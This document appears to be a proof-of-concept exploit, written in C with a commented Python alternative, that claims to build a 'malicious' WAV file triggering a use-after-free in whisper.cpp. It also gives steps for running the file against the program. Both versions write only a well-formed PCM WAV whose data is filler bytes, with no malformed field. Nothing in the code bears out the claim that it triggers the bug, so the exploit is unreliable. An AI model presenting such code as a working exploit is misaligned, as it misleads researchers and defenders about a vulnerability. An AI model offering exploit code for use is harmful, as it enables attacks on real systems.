/*
* CVE-2025-14569 PoC - whisper.cpp use_after_free in read_audio_data
* Author: Security Researcher
* Description: Generates a malicious audio file to trigger use after free
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Create a malicious WAV file that triggers use after free
void create_malicious_audio(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
fprintf(stderr, "Failed to create file\n");
return;
}
// WAV header
char riff[4] = {'R', 'I', 'F', 'F'};
fwrite(riff, 1, 4, fp);
int file_size = 36 + 44; // header + malicious data
fwrite(&file_size, 4, 1, fp);
char wave[8] = {'W', 'A', 'V', 'E', 'f', 'm', 't', ' '};
fwrite(wave, 1, 8, fp);
// fmt chunk
int fmt_size = 16;
fwrite(&fmt_size, 4, 1, fp);
short audio_format = 1; // PCM
fwrite(&audio_format, 2, 1, fp);
short num_channels = 1;
fwrite(&num_channels, 2, 1, fp);
int sample_rate = 16000;
fwrite(&sample_rate, 4, 1, fp);
int byte_rate = 32000;
fwrite(&byte_rate, 4, 1, fp);
short block_align = 2;
fwrite(&block_align, 2, 1, fp);
short bits_per_sample = 16;
fwrite(&bits_per_sample, 2, 1, fp);
// data chunk
char data[4] = {'d', 'a', 't', 'a'};
fwrite(data, 1, 4, fp);
int data_size = 44;
fwrite(&data_size, 4, 1, fp);
// Malicious payload to trigger use after free
unsigned char payload[44] = {0};
memset(payload, 0x41, 44); // Fill with pattern
fwrite(payload, 1, 44, fp);
fclose(fp);
printf("Malicious audio file created: %s\n", filename);
}
int main() {
const char* malicious_file = "malicious_audio.wav";
create_malicious_audio(malicious_file);
printf("\nTo trigger the vulnerability:\n");
printf("1. Compile whisper.cpp with the vulnerable code\n");
printf("2. Run: ./main -f %s\n", malicious_file);
printf("3. Observe use after free behavior\n");
return 0;
}
// Alternative Python PoC
/*
import struct
def create_poc_wav(filename):
with open(filename, 'wb') as f:
# RIFF header
f.write(b'RIFF')
f.write(struct.pack('<I', 36 + 100)) # File size
f.write(b'WAVE')
# fmt chunk
f.write(b'fmt ')
f.write(struct.pack('<I', 16)) # Chunk size
f.write(struct.pack('<H', 1)) # Audio format (PCM)
f.write(struct.pack('<H', 1)) # Num channels
f.write(struct.pack('<I', 16000)) # Sample rate
f.write(struct.pack('<I', 32000)) # Byte rate
f.write(struct.pack('<H', 2)) # Block align
f.write(struct.pack('<H', 16)) # Bits per sample
# data chunk - crafted to trigger UAF
f.write(b'data')
f.write(struct.pack('<I', 100))
f.write(b'\x41' * 100) # Pattern data
create_poc_wav('poc.wav')
print('PoC file created: poc.wav')
*/